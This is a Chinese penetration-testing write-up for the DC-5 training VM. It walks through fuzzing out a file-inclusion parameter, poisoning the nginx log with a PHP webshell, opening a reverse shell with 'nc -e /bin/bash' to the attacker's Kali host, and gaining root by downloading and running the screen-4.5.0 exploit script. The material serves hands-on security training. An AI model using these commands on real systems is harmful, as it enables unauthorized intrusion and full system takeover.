DC-5靶机做题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1aZRB-hqvqLlGUmAPFljnIA?pwd=elxg 
提取码:elxg 

参考:

image.png
描述:

DESCRIPTION 说明
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-5是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
DC-5的计划是让它更上一层楼,所以这对初学者来说可能不太好,但对有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也是如此)。

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
据我所知,只有一个可利用的入口点(也没有SSH)。这个特定的切入点可能很难识别,但它就在那里。你需要寻找一些不同寻常的东西(随着页面刷新而变化的东西)。这将有望为漏洞可能涉及的内容提供某种思路。

And just for the record, there is no phpmailer exploit involved. :-)
而且只是为了记录在案,不涉及phpmailer漏洞。:-)

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

But if you're really, really stuck, you can watch this video which shows the first step.
但如果你真的,真的卡住了,你可以看这段视频,它展示了第一步。

1、导入VMware虚拟机

下载完成后,得到DC-5.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
image.png
3、kali创建一个目录 dc5 ,后续的操作都在该目录下进行
image.png

使用工具
攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.133

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述
image.png
image.png
发现主机192.168.1.133开启着80端口的HTTP服务
访问一下web页面,发现是一个静态页面
image.png
根据题目描述和提示,查找随着页面刷新而变化的东西
image.png
先在contact那里随便提交一下
image.png
image.png
随着页面的刷新 ,Copyright © 2018 会随之变化
image.png
查看源代码,发现


image.png
再进行一下目录扫描看看,发现footer.php

dirsearch -u "http://192.168.1.133/" -e php

image.png
访问发现是这个footer.php来控制变化的
image.png
猜想是thankkyou.php调用footer.php,所以可能存在文件包含漏洞。

FUZZ 测试隐藏参数

FUZZ作为一个占位标志,后续爆破就爆破它这个位置

http://192.168.1.133/thankyou.php?FUZZ=/etc/passwd
  • 可以用BurpSuite来
  • 也可以用wfuzz
  • 或者 ffuf

这里用wfuzz


wfuzz 是一个功能强大的Web应用程序扫描和爆破工具,用于发现隐藏的文件和目录、敏感数据泄露、漏洞等。它可以通过使用自定义的字典列表来对目标进行高效率的爆破。
wfuzz 的使用方法如下:

wfuzz [options] <url>

其中 [options] 代表可选的命令行选项, 是目标URL。
以下是一些常用的 wfuzz 命令行选项:

  • -w, --wordlist :指定用于爆破的字典文件。
  • -d, --data :指定要在请求中发送的数据。
  • -H, --headers :指定自定义的HTTP头信息。
  • -c, --cookies :指定要使用的Cookie。
  • -t, --threads :指定同时运行的线程数。
  • -p, --proxy :指定要使用的代理服务器。
  • -o, --output :将结果输出到文件中。

这只是一小部分 wfuzz 的命令行选项。您可以通过运行 wfuzz --help 查看完整的帮助文档以了解更多功能和用法示例。
请注意,在进行Web应用程序扫描和爆破时,必须获得合法授权,并遵守法律和道德准则。滥用此类工具可能导致违法行为和未经授权的访问。


wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.133/thankyou.php?FUZZ=/etc/passwd

image.png
查看长度不一样的,因为包含了文件,所以字符会变多
image.png
得到这个参数就是file
接下来测试文件包含
这里是关于日志文件包含,由于nmap扫描到靶机服务器是nginx
服务器的日志存放在/var/log/nginx/access.log里面

到这一步这⾥推荐重新导⼊靶机,或者返回初始快照,因为前期发送过多数据,导致⽇志内的数据⼗分多,⼀旦包含会造成卡顿。

我们先 通过 burpsuite 抓包发送数据包,内容为⼀句话木马 ,并在前面加上fab1an做了一个标记,方便等一下查看
image.png

查看日志文件,木马写入成功。

fa1an标记后面没有显示一句话木马,说明php代码被执行解析了,并没有被当成文本输出
image.png
然后接着用蚁剑进行链接,连接成功
image.png
查看thankyou.php,确实发现包含了footer文件
image.png
接下里开启蚁剑的虚拟终端,并将shell反弹到kali上,
因为蚁剑的终端是伪终端,只是把我们的命令转换成php代码发送过去,再以相同的方式回显出来而已,

  • kali监听8888端口

image.png

  • 蚁剑把Shell反弹回来 (注意IP地址要填kali的地址,老是填错,填成靶机的IP可不行)
nc -e /bin/bash 192.168.1.128 8888

image.png

进入交互模式(让shell更好操作更好看一点)

python -c "import pty;pty.spawn('/bin/bash')"

image.png

提权,用find查看suid是否有可执行的文件

find / -perm -4000 -print 2>/dev/null


#查看suid是否有可执行的文件
#找特殊执行权限的文件,将错误输出到/dev/null下,/dev/null相当于linux中无底的垃圾桶

image.png
发现screen的版本号都出来了,那么就搜索一下能不能利用
搜索发现screen-4.5.0存在漏洞

searchsploit screen

image.png

searchsploit -m 41154.sh # 下载脚本到当前目录

image.png
改个简单的名字
image.png
并在当前目录开启HTTP服务,这样子就能在靶机上下载到这个脚本了

python -m http.server 80

image.png
看到这个页面就说明HTTP启动好了
image.png
回到靶机上
先进入 /tmp 目录,这个目录才有下载权限

cd /tmp

然后把脚本下载下来

wget http://192.168.1.128/a.sh

image.png
运行一下脚本就可以获得root权限了

bash a.sh

image.png

进入交互模式(让shell更好操作更好看一点)

python -c "import pty;pty.spawn('/bin/bash')"

flag

image.png

如果运行脚本的时候出现问题
image.png
如果是dos格式,需要转化为unix格式
那就用这条命令,然后就可以了
image.png

总结

  • 信息收集很重要
  • 学到反弹shell,日志文件包含
  • FUZZ
  • python启动HTTP服务学到了
  • 提权的知识点巩固

完毕!

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-01-25 00:54:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-25 00:54:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-25 00:54:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-25 00:54:01       20 阅读

热门阅读

  1. 论文素材:PSO算法介绍

    2024-01-25 00:54:01       37 阅读
  2. mysql单表查询练习题

    2024-01-25 00:54:01       36 阅读
  3. 在 Spring Boot 中使用事务

    2024-01-25 00:54:01       34 阅读
  4. 【nginx】405 not allowed问题解决方法

    2024-01-25 00:54:01       42 阅读
  5. linux 之 ln 命令

    2024-01-25 00:54:01       35 阅读
  6. c语言之循环语句练习

    2024-01-25 00:54:01       37 阅读
  7. 更改ip后还被封是ip质量的原因吗?

    2024-01-25 00:54:01       38 阅读
  8. jquery笔记

    2024-01-25 00:54:01       32 阅读
  9. 【Webpack】样式处理 - 分离样式文件

    2024-01-25 00:54:01       33 阅读
  10. python

    2024-01-25 00:54:01       36 阅读